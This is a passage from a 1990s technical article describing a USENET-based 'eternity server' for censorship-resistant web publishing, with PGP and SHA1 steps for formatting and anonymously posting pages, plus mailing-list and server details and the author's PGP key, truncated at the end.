which is where the idea for this implementation came from. I rather liked
|
|||
|
Ross's name for his conceptual service, and instead of thinking up some other
|
|||
|
name I just "borrowed" his name. Readers might find his paper interesting,
|
|||
|
it's on the web in htmlized form at:
|
|||
|
|
|||
|
http://www.cl.cam.ac.uk/users/rja14/eternity/eternity.html
|
|||
|
|
|||
|
Ross's design is quite ambitious, so I simplified his design in developing the
|
|||
|
software included with this article.
|
|||
|
|
|||
|
My implementation shares Ross's main design goal, which is to create a
|
|||
|
censorship-proof, long-term document store, but its design has been made much
|
|||
|
simpler and less ambitious initially to make it easier to implement. The main
|
|||
|
simplification is that I built the design on top of an existing hard-to-censor
|
|||
|
distributed distribution channel: `alt' USENET newsgroups. This design is
|
|||
|
described in the next sections.
|
|||
|
|
|||
|
The motivation for providing a simplified version was to have something people
|
|||
|
could use practically, today. Another reason is that by releasing this
|
|||
|
design, and it's implementation, it allows you, the reader, to play with it,
|
|||
|
and to contribute to it, improve it in a piecewise fashion in the good
|
|||
|
tradition of free software on the 'Net. The design calls for many eternity
|
|||
|
servers to be in existence to make it hard to censor.
|
|||
|
|
|||
|
At time of writing a mailing list exists for discussion on using and improving
|
|||
|
the eternity service. Instructions on how to subscribe the eternity mailing
|
|||
|
list are given at the bottom of this article.
|
|||
|
|
|||
|
|
|||
|
USENET and distributed systems
|
|||
|
======================================================================
|
|||
|
|
|||
|
The Internet was built to survive nuclear attack. It would survive such an
|
|||
|
attack because it is a distributed system. Distributed systems are hard to
|
|||
|
break, and therefore, hard to censor. USENET, particularly the `alt`
|
|||
|
newsgroups offer the most amazing chaotic discussion areas. The articles
|
|||
|
which are posted often contain materials which would be considered illegal in
|
|||
|
many jurisdictions. And yet USENET lives, and `alt` USENET newsgroups thrive.
|
|||
|
Extremely well funded attackers have tried to remove individual `alt` USENET
|
|||
|
groups, and to censor posts in alt USENET groups. They have all failed.
|
|||
|
|
|||
|
The reason that USENET is hard to attack is because it is a distributed
|
|||
|
system. The network of news feeds has some redundancy. USENET articles enter
|
|||
|
the news distribution network from anywhere in the network. If a censor in
|
|||
|
one country succeeds in persuading a news site to censor its feed and not
|
|||
|
carry particular alt groups, it doesn't affect the overall system that much.
|
|||
|
There are lots of other nodes carrying the groups, disgruntled users will
|
|||
|
switch ISPs, and disgruntled down-feed sites will switch feeds. The system
|
|||
|
routes *around* censorship. There are just so many USENET admins with
|
|||
|
individual opinions, and commercial interests in carrying groups users want to
|
|||
|
read, that USENET can not die.
|
|||
|
|
|||
|
It occurred to me in trying to design a simplified eternity service, that it
|
|||
|
would be useful to borrow some of Usenet's indestructible nature. USENET is
|
|||
|
part of the landscape; it's here to stay. If we build a new distributed
|
|||
|
distribution system from scratch, to start with there won't be many nodes.
|
|||
|
The censor will have any easy time censoring a few nodes, he'll just go and
|
|||
|
harass each of them in turn.
|
|||
|
|
|||
|
With USENET on the other hand, it has been around for so long, and is carried
|
|||
|
at so many sites that it would be a huge task for a censor to even have a
|
|||
|
significant affect on USENET.
|
|||
|
|
|||
|
So, the design of my eternity server aims to allow operators to point the
|
|||
|
finger at USENET and say: "that's where the content is coming from, if you
|
|||
|
want to censor anything go attack USENET".
|
|||
|
|
|||
|
My eternity server design is a service designed to blur the differences
|
|||
|
between USENET news and the Web. It provides an interface which makes a
|
|||
|
stream of encrypted USENET news articles look like WWW pages with a persistent
|
|||
|
URL. As the default disclaimer for eternity servers says:
|
|||
|
|
|||
|
Note to censors: Eternity servers are specialized search engines for
|
|||
|
reading web documents from USENET news. The pages you request are
|
|||
|
actually USENET news posts which the server is searching for,
|
|||
|
reformatting and forwarding to you. The administrator of this server
|
|||
|
has no control over the content of USENET news, and will not be held
|
|||
|
responsible for any documents you instruct this server to forward
|
|||
|
for you.
|
|||
|
|
|||
|
|
|||
|
Eternity Server design
|
|||
|
======================================================================
|
|||
|
|
|||
|
Once you accept the idea that it would be nice to borrow, or build upon some
|
|||
|
of USENET news's strength as a uncensorable distribution mechanism, the next
|
|||
|
issue is achieving this, technically. The main differences between USENET
|
|||
|
news articles and WWW pages is that USENET is transient, the articles expire
|
|||
|
in newsgroups, and that USENET articles have no persistent globally
|
|||
|
addressable locator. USENET is not as convenient as the Web; there are no
|
|||
|
hypertext links between articles, and there are no inline images.
|
|||
|
|
|||
|
Eternity service articles are WWW pages specially formatted and posted to
|
|||
|
USENET news. The eternity server reads news and translates Web page requests
|
|||
|
into GROUP and ARTICLE commands to an NNTP news server (or file system
|
|||
|
accesses to a local news spool). (The default list of newsgroups to read
|
|||
|
consists of one group: alt.anonymous.messages).
|
|||
|
|
|||
|
Web pages are often updated, as one of the interesting aspects of the WWW as a
|
|||
|
publishing medium is that it allows people to maintain up-to-date information.
|
|||
|
This maintains interest and keeps people coming back to an interesting site to
|
|||
|
see what else the author has collected, or what other related pages have been
|
|||
|
added. A sense of community can be built up with others submitting interesting
|
|||
|
links, corrections, and tips to the author.
|
|||
|
|
|||
|
To provide the possibility of updating web pages with the eternity server, the
|
|||
|
eternity formatting convention allows submitted web pages to be signed with
|
|||
|
PGP. This ensures that no one else can replace your pages with other pages.
|
|||
|
Being able to replace your page with a blank page would allow a censor to
|
|||
|
temporarily censor you. (Only temporary because you could always replace the
|
|||
|
blank page with the real document again).
|
|||
|
|
|||
|
With a PGP signature this is prevented... and the system becomes such that
|
|||
|
eternity virtual domains are very much first-come first-served.
|
|||
|
|
|||
|
|
|||
|
First-come first-served naming
|
|||
|
======================================================================
|
|||
|
|
|||
|
Eternity URLs are all under the non-existent Top Level Domain (TLD) "eternity".
|
|||
|
(Other TLDs being .com, .org, .edu, .ai, etc) Eternity URLs are therefore of
|
|||
|
the form:
|
|||
|
|
|||
|
http://*eternity/*
|
|||
|
|
|||
|
Where * represents any string of characters.
|
|||
|
|
|||
|
On the Internet domain names must be resolved to IP addresses via Domain Name
|
|||
|
Servers (DNS). The owner of the TLD you desire a domain name in charges you
|
|||
|
for registering a domain. Internic (who currently has a hotly contested
|
|||
|
monopoly on TLDs .com, .org, and .net), charge $100 for the first 2 years, and
|
|||
|
$50 for each year thereafter.
|
|||
|
|
|||
|
Eternity domains don't exist in this sense. There is no root domain server for
|
|||
|
eternity. You don't need to buy eternity URLs from anyone. Nobody _can_ own
|
|||
|
an eternity URL in the normal sense.
|
|||
|
|
|||
|
The first person to submit a document with a URL:
|
|||
|
|
|||
|
http://bluebox.eternity/
|
|||
|
|
|||
|
gets it. If that person signed the submitted document with PGP, no one will
|
|||
|
be able to take over that URL. If that person signed the submitted page with
|
|||
|
PGP and threw away the key, it would be uncensorable for all time. They
|
|||
|
couldn't even remove the document themselves if they wanted to. Throwing away
|
|||
|
the key might be a good idea if the publisher isn't publishing anonymously and
|
|||
|
expects reprisals.
|
|||
|
|
|||
|
The fact that one user has submitted a signed web page for
|
|||
|
http://bluebox.eternity/ doesn't stop BlackBeard from putting up his design at:
|
|||
|
|
|||
|
http://bluebox.eternity/blackbeard/
|
|||
|
|
|||
|
That is to say ownership of any given URL, even the top level URL of a virtual
|
|||
|
domain, doesn't give any control over who could submit documents in that
|
|||
|
virtual domain. Of course you don't have to link to their pages. But those
|
|||
|
pages will show in a directory search of your virtual site.
|
|||
|
|
|||
|
|
|||
|
Directory searches
|
|||
|
======================================================================
|
|||
|
|
|||
|
Submitted eternity news articles can set options controlling whether or not
|
|||
|
the document is listed in the index. The choice is either "exdirectory" (the
|
|||
|
default) or "directory". This is useful because if you created the URL for
|
|||
|
http://bluebox.eternity/, you might like to include some inline images, or
|
|||
|
diagrams, or a series of other pages hypertext linked from that page. So you
|
|||
|
would set option "directory" for the main page http://bluebox.eternity/, and
|
|||
|
set all the inline images and smaller pages linked from it to "exdirectory",
|
|||
|
as a convention to save the directory becoming cluttered up with junk.
|
|||
|
|
|||
|
You can also use "exdirectory" if you don't want to generally advertise your
|
|||
|
page. Note this is not all that secure if you access your page via a public
|
|||
|
access eternity server, as the server operator could modify the server to
|
|||
|
record all exdirectory URLs.
|
|||
|
|
|||
|
You can request a listing of all eternity pages at an eternity server by
|
|||
|
filling in the form with virtual URL containing a wild-card:
|
|||
|
|
|||
|
http://*
|
|||
|
|
|||
|
(Exdirectory documents will not be listed.)
|
|||
|
|
|||
|
You can also include an option to give a small description (a maximum of 60
|
|||
|
characters) which will be listed beside your virtual URL when someone does
|
|||
|
such a search.
|
|||
|
|
|||
|
You can narrow the search to just list all root eternity documents with:
|
|||
|
|
|||
|
http://*/
|
|||
|
|
|||
|
Which will find:
|
|||
|
|
|||
|
http://eternity/
|
|||
|
http://bluebox.eternity/
|
|||
|
|
|||
|
but not:
|
|||
|
|
|||
|
http://test.eternity/example1/
|
|||
|
|
|||
|
|
|||
|
You can also do:
|
|||
|
|
|||
|
http://bluebox.eternity/*
|
|||
|
|
|||
|
which will find:
|
|||
|
|
|||
|
http://bluebox.eternity/
|
|||
|
http://bluebox.eternity/blackbeard/
|
|||
|
|
|||
|
|
|||
|
You can combine *s to find what you want. Advanced searches are possible:
|
|||
|
|
|||
|
http://*box*.eternity/*blue*
|
|||
|
|
|||
|
and so on.
|
|||
|
|
|||
|
Eternity materials are likely to be targets for censors, and it is possible
|
|||
|
that they might try to censor the directory listing itself. Even the URL
|
|||
|
could suffer. (Did you know that Internic turned down some guy who wanted to
|
|||
|
register `fuck.com'?) I'm sure someone creative could up with something to
|
|||
|
upset a censor in the 60 characters allocated for URL descriptions too.
|
|||
|
|
|||
|
For these reasons the eternity server operator has the option to disable
|
|||
|
directory service. With this option disabled looking up URLs with wild-cards
|
|||
|
(*s) in them will get back a notice explaining that directory listings service
|
|||
|
has not been turned on at this server.
|
|||
|
|
|||
|
Servers with directory service turned off make less useful servers, so it is
|
|||
|
hoped that most eternity server operators don't have to do this. However, an
|
|||
|
eternity server with directory service turned off still works normally for
|
|||
|
accessing known URLs, and you could maintain the directory listing yourself,
|
|||
|
or use a directory listing at another site.
|
|||
|
|
|||
|
|
|||
|
Formatting Eternity documents
|
|||
|
======================================================================
|
|||
|
|
|||
|
Eternity documents submitted as USENET news articles are formatted with PGP.
|
|||
|
There are three of reasons to format messages in USENET to make them not
|
|||
|
immediately readable.
|
|||
|
|
|||
|
1) It prevents censors from working out which articles correspond to which
|
|||
|
eternity web pages. Depending on the options chosen this can degrade to just
|
|||
|
obfuscation. Obfuscation alone however can be useful as censors are often not
|
|||
|
particularly clue-full.
|
|||
|
|
|||
|
2) PGP includes compression, so the articles are much smaller.
|
|||
|
|
|||
|
3) If used with highest security options amongst a group of people who follow
|
|||
|
security guidelines it means that a censor will have no way to translate the
|
|||
|
articles back into WWW pages, or even of obtaining the URL.
|
|||
|
|
|||
|
To demonstrate the formatting requirements for eternity page submissions, we'll
|
|||
|
work with an example page, http://bluebox.eternity/.
|
|||
|
|
|||
|
You'll need an implementation of SHA1 for this. There is a C implementation,
|
|||
|
and also a perl implementation in the eternity server distribution. Some
|
|||
|
systems may already have /usr/local/bin/sha1.
|
|||
|
|
|||
|
(Note: below "echo -n" is used -- on Suns the built-in echo doesn't handle the
|
|||
|
-n flag properly -- you'll have to use /usr/ucb/echo instead)
|
|||
|
|
|||
|
0) Generate a Nom de Plume
|
|||
|
|
|||
|
If you are planning to sign your document, you probably won't want to sign it
|
|||
|
with your normal key, so you'll generate a new keypair for the purpose, this
|
|||
|
will be your pseudonym, or Nom de Plume for the purposes of publishing this
|
|||
|
document. The "-u fred" tells pgp to use that user id. See pgp documentation
|
|||
|
for how to generate keys (use pgp -kg).
|
|||
|
|
|||
|
Once you've generated your key, extract it to a file with:
|
|||
|
|
|||
|
% pgp -kxa fred fred
|
|||
|
|
|||
|
where `fred` is your new user name. It will save the key as "fred.asc".
|
|||
|
We'll use this file below.
|
|||
|
|
|||
|
|
|||
|
1) Sign the document
|
|||
|
|
|||
|
We create a normal web page such as you might put on your home page. You can
|
|||
|
view the page with Netscape (or other browser) by opening it as a file URL:
|
|||
|
file:/home/fred/bluebox/index.html to check that it looks OK, and that any
|
|||
|
inline images line up correctly etc.
|
|||
|
|
|||
|
You can use relative, site relative, and absolute URLs normally in eternity
|
|||
|
documents. You can also use absolute URLs pointing at other sites in the
|
|||
|
normal way.
|
|||
|
|
|||
|
To submit index.html as http://bluebox.eternity/ we first use PGP to ASCII
|
|||
|
armor the document. If we want to sign it at the same time as ASCII armoring
|
|||
|
it, so that we can update it later, we can do:
|
|||
|
|
|||
|
% pgp -sa index.html -u fred
|
|||
|
|
|||
|
There is another option to encrypt as well as sign and armor, which will be
|
|||
|
discussed more below, to do this do:
|
|||
|
|
|||
|
% pgp -csa index.html -u fred
|
|||
|
|
|||
|
If we don't want to sign it, we do this instead:
|
|||
|
|
|||
|
% pgp -a index.html
|
|||
|
|
|||
|
In either case after this operation PGP will create file "index.asc" for us.
|
|||
|
Rename index.asc to something else, say "index" (Another legal combination
|
|||
|
would be to encrypt and not sign with -ca).
|
|||
|
|
|||
|
|
|||
|
2) Set the options
|
|||
|
|
|||
|
If you signed the document, you need to include the key. Insert the keyfile
|
|||
|
(fred.asc extracted in step 0 above) into the document "index". Order is not
|
|||
|
significant. Then the ASCII armored document (pgp munged html or gif file
|
|||
|
produced in stage 1), the keyfile "fred.asc", and the flags described below
|
|||
|
can be jumbled up in order.
|
|||
|
|
|||
|
You now have several flags you can include to control how your URL will be
|
|||
|
cached, how it will be displayed in indexes etc.
|
|||
|
|
|||
|
The flags are:
|
|||
|
|
|||
|
URL: http://bluebox.eternity/
|
|||
|
|
|||
|
The flag URL: sets what the eternity virtual URL will be. It must have
|
|||
|
.eternity as the virtual TLD.
|
|||
|
|
|||
|
Cache: yes
|
|||
|
Cache: encrypted
|
|||
|
Cache: no
|
|||
|
|
|||
|
Cache settings, choose one of those. These cache settings override the used
|
|||
|
eternity server's settings if doing so will increase security. "yes" and "no"
|
|||
|
are obvious. "encrypted" means that the document will be cached but it will
|
|||
|
be encrypted in the cache in such a way that the URL is required to decrypt it.
|
|||
|
If the document is exdirectory this means that the server won't know the URL.
|
|||
|
|
|||
|
Options: directory
|
|||
|
Options: exdirectory
|
|||
|
|
|||
|
Choose one of those options. This flag controls whether the URL will be listed
|
|||
|
in the URL index. "directory" means it will be listed, "exdirectory" means it
|
|||
|
will not be listed. If you give neither option the document defaults to
|
|||
|
exdirectory.
|
|||
|
|
|||
|
Description: Freds blue box page
|
|||
|
|
|||
|
This is the description that will appear in directory listings. If the
|
|||
|
document is exdirectory there is no point giving a description.
|
|||
|
|
|||
|
So the file "index" is likely to look something like this once you've finished
|
|||
|
editing it:
|
|||
|
|
|||
|
URL: http://bluebox.eternity/
|
|||
|
Cache: yes
|
|||
|
Options: directory
|
|||
|
Description: Freds blue box page
|
|||
|
|
|||
|
-----BEGIN PGP PUBLIC KEY-----
|
|||
|
...
|
|||
|
-----END PGP PUBLIC KEY-----
|
|||
|
|
|||
|
-----BEGIN PGP MESSAGE-----
|
|||
|
...
|
|||
|
-----BEGIN PGP MESSAGE-----
|
|||
|
|
|||
|
Where ... indicates the rest of the ASCII armored key or message will be
|
|||
|
displayed. Some of these parts can be omitted as shown above. When you are
|
|||
|
submitting an web page update you can omit anything you're not trying to
|
|||
|
change. (That can be everything, so your updated document has nothing but the
|
|||
|
new message part). However this is not necessarily a good idea because it
|
|||
|
will not make sense to an eternity server that has not seen the first
|
|||
|
document, for example if your first document doesn't make it via USENET to one
|
|||
|
site.
|
|||
|
|
|||
|
3) Package the document "index" ready for posting
|
|||
|
|
|||
|
You have a couple of choices here.
|
|||
|
|
|||
|
Method A (most common):
|
|||
|
|
|||
|
Either you can encrypt with PGP -c:
|
|||
|
|
|||
|
% pgp -c -z"eternity" index
|
|||
|
|
|||
|
Method B:
|
|||
|
|
|||
|
Or you can encrypt with the SHA1 of the URL with 1 prefixed,
|
|||
|
|
|||
|
% echo -n 1http://bluebox.eternity/ | sha1
|
|||
|
dab1a32aba30b4e3a9594da143c33d2ba9b00a38
|
|||
|
% pgp -c -z"dab1a32aba30b4e3a9594da143c33d2ba9b00a38" index
|
|||
|
|
|||
|
Most normal eternity URLs which you're expecting to be indexed on the
|
|||
|
directory services of public access eternity servers should be encrypted with
|
|||
|
the first simpler method.
|
|||
|
|
|||
|
There's not that much point encrypting with the second method unless your
|
|||
|
document is going to be exdirectory, because once the document gets in the URL
|
|||
|
everyone will know the URL anyway. It might take a censor a little longer to
|
|||
|
figure out.
|
|||
|
|
|||
|
If you were planning to only access the document via private, or local
|
|||
|
eternity servers, you can reveal the URL only to those you wish to have access.
|
|||
|
However this might not be that secure because people may be able to guess your
|
|||
|
URL if it is something common as above.
|
|||
|
|
|||
|
Method C:
|
|||
|
|
|||
|
For this reason you have a third option, which is to encrypt at the same time
|
|||
|
as signing and ASCII armoring as described in step 1. You can combine that
|
|||
|
option with above method B (pgp -c with sha1 of 1<URL>) to conceal the URL.
|
|||
|
|
|||
|
Or alternately you can expose the URL by using method 1 above (pgp -c
|
|||
|
-z"eternity"), but have the document encrypted in step 1. (This would allow
|
|||
|
you to have a directory entry, but the page not accessible without knowing the
|
|||
|
password chosen in step 1 when encrypting.
|
|||
|
|
|||
|
The result of the last pgp -c operation for any of method A, B, or C will be
|
|||
|
file "index.asc".
|
|||
|
|
|||
|
4) Post the article anonymously
|
|||
|
|
|||
|
The subject field of the article should always be the SHA1 hash of the URL:
|
|||
|
|
|||
|
% echo -n http://bluebox.eternity/ | sha1
|
|||
|
2e730bcd62dbc63aaedde56c06625abeeb38dd92
|
|||
|
|
|||
|
Now post the article to USENET news (by default eternity servers read only
|
|||
|
newsgroup alt.anonymous.messages with release 0.10).
|
|||
|
|
|||
|
You can test your eternity submissions work by installing an eternity server
|
|||
|
on localhost. If you get stuck you could ask for assistance on the eternity
|
|||
|
mailing list (instructions on subscribing are at the bottom of this article).
|
|||
|
|
|||
|
To post anonymously you'll need to post via anonymous remailers. Some
|
|||
|
remailers can post to USENET directly, for other remailers you have to post
|
|||
|
via a mail2news gateway.
|
|||
|
|
|||
|
Instructions on using remailers, and windows and Unix clients to automate the
|
|||
|
process of using remailers can be found here:
|
|||
|
|
|||
|
http://www.stack.nl/~galactus/remailers/
|
|||
|
|
|||
|
You can find a list of mail2news gateways here:
|
|||
|
|
|||
|
http://www.replay.com/mail2news/
|
|||
|
|
|||
|
People are already working on a nice easy to use CGI interface to eternity
|
|||
|
servers over on the eternity list while I'm typing, so perhaps when you read
|
|||
|
this you won't need to know the above information in such detail.
|
|||
|
|
|||
|
|
|||
|
Caching
|
|||
|
======================================================================
|
|||
|
|
|||
|
With WWW technology, caching is often used to speed up accesses. There are a
|
|||
|
number of caches in effect with a typical web browsing session. The Netscape
|
|||
|
browser for instance has both a memory cache, and a disk cache, which are
|
|||
|
configurable in size. In addition Netscape can be set up to use a proxy cache,
|
|||
|
which is a special caching service. Users of a proxy cache send their web
|
|||
|
requests through it. The proxy cache checks each request to see if it has it
|
|||
|
in the cache, if it does, it can deliver it back if quickly. If it doesn't it
|
|||
|
will go and fetch whatever URL you are asking for and remember it for next
|
|||
|
time. A proxy cache would normally be used by a group of web users, perhaps a
|
|||
|
university campus, or an ISPs customers, or a companies employees.
|
|||
|
|
|||
|
Caches traditionally have some protection from censors -- it's an automated
|
|||
|
process after all -- your average ISP hardly wants to be responsible for the
|
|||
|
contents of the disk on its proxy cache machine.
|
|||
|
|
|||
|
For performance reasons the eternity server also has a cache. The cache
|
|||
|
behavior is configurable. The server operator can set his caching preferences
|
|||
|
when he installs the server by editing eternity.conf. Possible settings are
|
|||
|
"on", "off" and "encrypted". Setting cache to "off" is safest, then you have
|
|||
|
no eternity documents on your disk. The "encrypted" cache option means that
|
|||
|
cached documents are encrypted with PGP -c and the SHA1 hash of a 1 prepended
|
|||
|
to the URL. If the server also turns off directory service, and does no
|
|||
|
logging this provides reasonable deniability of knowledge of contents of
|
|||
|
documents in the cache. Even with directory service on, it provides cache set
|
|||
|
to "encrypted" provides protection in that the server operator will not know
|
|||
|
the URLs of exdirectory web pages.
|
|||
|
|
|||
|
|
|||
|
Further work
|
|||
|
======================================================================
|
|||
|
|
|||
|
There are a few unimplemented features that could use some work. These
|
|||
|
features are being discussed on the eternity mailing list (see instructions
|
|||
|
for subscribing below).
|
|||
|
|
|||
|
A first immediate problem is that the eternity server has no cache replacement
|
|||
|
policy. Your eternity cache will just keep growing. This is great for
|
|||
|
ensuring articles with caching turned on don't disappear due to expiring in
|
|||
|
the news spool, but as eternity grows more popular it will become impossible
|
|||
|
for each single eternity server to hold the full document store.
|
|||
|
|
|||
|
The solution to this problem is quite complex, and is the subject of the next
|
|||
|
implementation effort on the mailing list. One interim solution is to use the
|
|||
|
USENET searching facilities of services which archive USENET such as
|
|||
|
www.dejanews.com and www.altavista.digital.com.
|
|||
|
|
|||
|
There are several tweaks that would have to be done to be able to use USENET
|
|||
|
archivers as sources of eternity documents. Two main problems have to be
|
|||
|
combated: 1) the archives make attempts not to archive 7-bit encoded binaries
|
|||
|
to save space, 2) you can't search by 40 character hex numbers to find subject
|
|||
|
fields. These are both easy to overcome, but the overall solution is not that
|
|||
|
attractive because the archivers will be a single point of failure. Censors
|
|||
|
will attack them, and they may be hostile to eternity servers due to our
|
|||
|
bypassing their 7-bit encoding filters and consuming space on their soon to be
|
|||
|
multiple TB raid file servers.
|
|||
|
|
|||
|
A better solution is to build a distributed data store that allows eternity
|
|||
|
servers to exchange documents with each other in such a way that the eternity
|
|||
|
servers together form a virtual raid file-server where the documents are
|
|||
|
spread randomly and redundantly over the nodes.
|
|||
|
|
|||
|
A simple starting point to allow this is to create a second long-term cache
|
|||
|
area, and to have a cache replacement policy for that area which selects a
|
|||
|
random document for discarding. This cache replacement policy will ensure
|
|||
|
that statistically some servers will have a given document. Next we have to
|
|||
|
design a scalable method of forwarding requests to other servers to ask for
|
|||
|
old USENET articles by URL hash (subject field).
|
|||
|
|
|||
|
|
|||
|
World-FS
|
|||
|
======================================================================
|
|||
|
|
|||
|
Another approach to improving the eternity server is to actually use and
|
|||
|
develop the full set of techniques described in Ross Anderson's paper to build
|
|||
|
a distributed file system (DFS). I dub this direction `world-FS' because the
|
|||
|
aim is to build a worldwide distributed, redundant, uncensorable, and virtual
|
|||
|
file system. This file system would be designed to withstand a nuclear war,
|
|||
|
and to easily withstand the best efforts of one government to censor material
|
|||
|
in it. A world-FS done well could easily replace the current pattern of web
|
|||
|
page hosting.
|
|||
|
|
|||
|
The world-FS would have different interfaces, or drivers, to allow it to be
|
|||
|
accessed as an NFS file system, or as a distributed web based eternity service.
|
|||
|
The eternity server described in this document would then be superseded, and
|
|||
|
become the HTTP driver interface for world-FS. An FTP, or NNTP (USENET news)
|
|||
|
interface could also be built for the world-FS, or for parts of it's directory
|
|||
|
tree. People discussing this so far have thought that you would need to
|
|||
|
include ability to pay for service with an anonymous payment system (or with
|
|||
|
multiple payment systems).
|
|||
|
|
|||
|
The eternity mailing list is also for discussion of world-FS, as it all falls
|
|||
|
under the umbrella of Ross Anderson's concept of an `eternity service'.
|
|||
|
|
|||
|
|
|||
|
Comments and collaboration requested
|
|||
|
======================================================================
|
|||
|
|
|||
|
Your contribution matters. Progress of the eternity service beyond this point
|
|||
|
relies on a collaborative effort.
|
|||
|
|
|||
|
You can collaborate by doing any of the following and reporting back to the
|
|||
|
eternity mailing list how you got on (subscription instructions below):
|
|||
|
|
|||
|
- submitting documents to the eternity document store
|
|||
|
- installing an public access eternity server in your account
|
|||
|
- or persuading your ISP to install one
|
|||
|
- or installing a private eternity server in your account
|
|||
|
- finding and reporting bugs to the mailing list
|
|||
|
- contributing code
|
|||
|
- contributing ideas for more efficient distributed request protocols
|
|||
|
|
|||
|
Adam Back
|
|||
|
|
|||
|
|
|||
|
More information
|
|||
|
======================================================================
|
|||
|
|
|||
|
Eternity mailing list
|
|||
|
|
|||
|
send message "subscribe eternity" to majordomo@internexus.net
|
|||
|
|
|||
|
The eternity mailing list is for eternity service users, eternity server
|
|||
|
operators, and eternity server developers to discuss issues to do with
|
|||
|
eternity. Issues include censorship attempts, operator liability, practical
|
|||
|
attacks on the security, and discussion of new protocols, and discussion
|
|||
|
amongst developers and users on the best way to design the next versions.
|
|||
|
|
|||
|
|
|||
|
Cypherpunks mailing list
|
|||
|
|
|||
|
Cypherpunks write code. Cypherpunks are the people who bought you type I and
|
|||
|
type II remailers, remailer clients, plus many, many other crypto applications.
|
|||
|
Governments are scared of the implications of distributed systems and freedom
|
|||
|
to use cryptographic code. Cypherpunks are crypto-anarchists, and they shall
|
|||
|
inherit the earth. Information is power, and cypherpunks are applied
|
|||
|
cryptographers with attitude. They don't care if governments don't like their
|
|||
|
code, in fact they probably view it as a compliment. You'd be surprised at how
|
|||
|
many cryptographers, net journalists, cryptographic consultants, small ISP
|
|||
|
owners, and Netizens are crypto-anarchists at heart. Netizens never were very
|
|||
|
keen on government intrusions into the 'Net. Read Tim May's Cyphernomicon for
|
|||
|
a mega-faq on cypherpunks, and crypto-anarchy. See:
|
|||
|
|
|||
|
http://www.cc.oberlin.edu/~brchkind/cyphernomicon/
|
|||
|
|
|||
|
To subscribe to cypherpunks:
|
|||
|
|
|||
|
send message "subscribe cypherpunks" to majordomo@cyberpass.net
|
|||
|
or send message "subscribe cypherpunks" to majordomo@algebra.com
|
|||
|
or send message "subscribe cypherpunks" to majordomo@ssz.com
|
|||
|
|
|||
|
(Some time ago there was an attempt to impose moderation on the cypherpunks
|
|||
|
list, and this is the reason for this rather curious situation of multiple
|
|||
|
mailing lists, it is designed to be more resilient to censorship -- if someone
|
|||
|
pulls the plug on one list -- the rest continue without glitch.)
|
|||
|
|
|||
|
Cypherpunks is a high volume mailing list. There is no moderator,
|
|||
|
|
|||
|
Software
|
|||
|
|
|||
|
http://www.dcs.ex.ac.uk/~aba/eternity/
|
|||
|
|
|||
|
Please set a server up a public access eternity serve in your account. You
|
|||
|
can also operate your own eternity server for your own use -- this is the more
|
|||
|
secure way to browse eternity. If you have any kind of dial up or internet
|
|||
|
connected Unix system you can do this.
|
|||
|
|
|||
|
You'll need a web account with cgi capability, access to perl5, and read
|
|||
|
access to an NNTP news server, or a local news spool. Cron access is useful
|
|||
|
but not essential.
|
|||
|
|
|||
|
Current Public Access Eternity Servers
|
|||
|
|
|||
|
http://www.replay.com/aba/eternity/
|
|||
|
http://moloko.insync.net/eternity/
|
|||
|
http://eternity.internexus.net/
|
|||
|
http://eternity.infinetways.net/
|
|||
|
|
|||
|
Contacting the author
|
|||
|
|
|||
|
aba@dcs.ex.ac.uk
|
|||
|
or A.Back@ex.ac.uk
|
|||
|
or aba@replay.com
|
|||
|
|
|||
|
PGP encrypted mail preferred, here's my key:
|
|||
|
|
|||
|
Type Bits/KeyID Date User ID
|
|||
|
pub 2048/28B24551 1995/09/09 Adam Back <aba@dcs.ex.ac.uk> (High Security)
|
|||
|
Key fingerprint = 01 8F 04 06 5C DD F3 33 D8 84 C4 63 85 BA 50 E8
|
|||
|
|
|||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|||
|
Version: 2.6.3i
|
|||
|
|
|||
|
mQENAzBRMbMAAAEIANoe/ABNaJv6/ETtDzlih4P3znc63CMP4ViFWStxyeWWjxd2
|
|||
|
L8WOsM0b1naV4YmeRrd34GUsnZFetItToVqsvT5tKcwJKHwEWeXEQMbCM3cbaAxB
|
|||
|
+MGSx9PoLRc4ZLz79q/hMQXybNKmw5Rk7NwsyLiejZR+jt2Eoy/BHeFMunxfXD8j
|
|||
|
38927FZBxG3UgCbL75ImJhWVsn8IoDOJ5psTfJwRcAZlkxsrpDSx2OIb6G35+pwm
|
|||
|
mEv8O066wOij7eMTQ8VQ5+rbn2ql0Ubsz3qA2szP2KZYlmobjwj5M82dmLcPfG9C
|
|||
|
bExMBldd8poJyBCn0e04kAFiGBJJPnvKqCiyRVEABRG0LEFkYW0gQmFjayA8YWJh
|
|||
|
QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9
|
|||
|
AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5
|
|||
|
aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j
|
|||
|
RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJAJUDBRAyIN+r
|
|||
|
RlGJMStI9vUBAXJTA/4wzbGnP9X0luqRYcfj51bamX9WdTDG9A8AvKngTbMG87x2
|
|||
|
jV6vUicIP9XMERSl6fgT35Q2BYSCKGlhH5gGYkC+IfkyMZFHvZMdATurb4MuRivW
|
|||
|
pv30gTVstoF61CN3JKF1N/j1Ez2LOfFWFW+miceowAPrKr3e3zHCRXyewv75BIkB
|
|||
|
FQMFEDBW0M+xVzBJFqEkZQEBBQEH/AnpNhKJh1IPmii7X7xxmccMKFnq5R2DAP4Z
|
|||
|
+OJQ/otoy6AXifI9Y5aDYnm7sbPZX9uBk93ubf4Zm/v9wOcOKL6hXcE4+tvGSQA+
|
|||
|
rAPgph1+t96iDTSTGwf5ZKVp+LfJXBz63wZHDJ+JlSTDRl9YeSxeRZgAo2XJtI/h
|
|||
|
v7fazds4CK0jFwDSWUtQUd7my9znsJ92W0UONe6iltnFUvywUICNGyXxCHV4RDPv
|
|||
|
/wTmDKarzHm44OfdzXhI+oTQvY3lG51gU6TMjR6Q/bjy9YEYpTcDRvOpMmkJ4aud
|
|||
|
tCxG/w82OG6lKnFw8Hv46VcpQVPt2YZMbgjUJBIQi6FedDjeky6JAJUDBRAwUUqY
|
|||
|
Kci4nVVqSmcBAaFJA/wJ0vcYZm8V7gqlk+nDzjIDvGNP1IaQtBFaXE/imyQaqyKe
|
|||
|
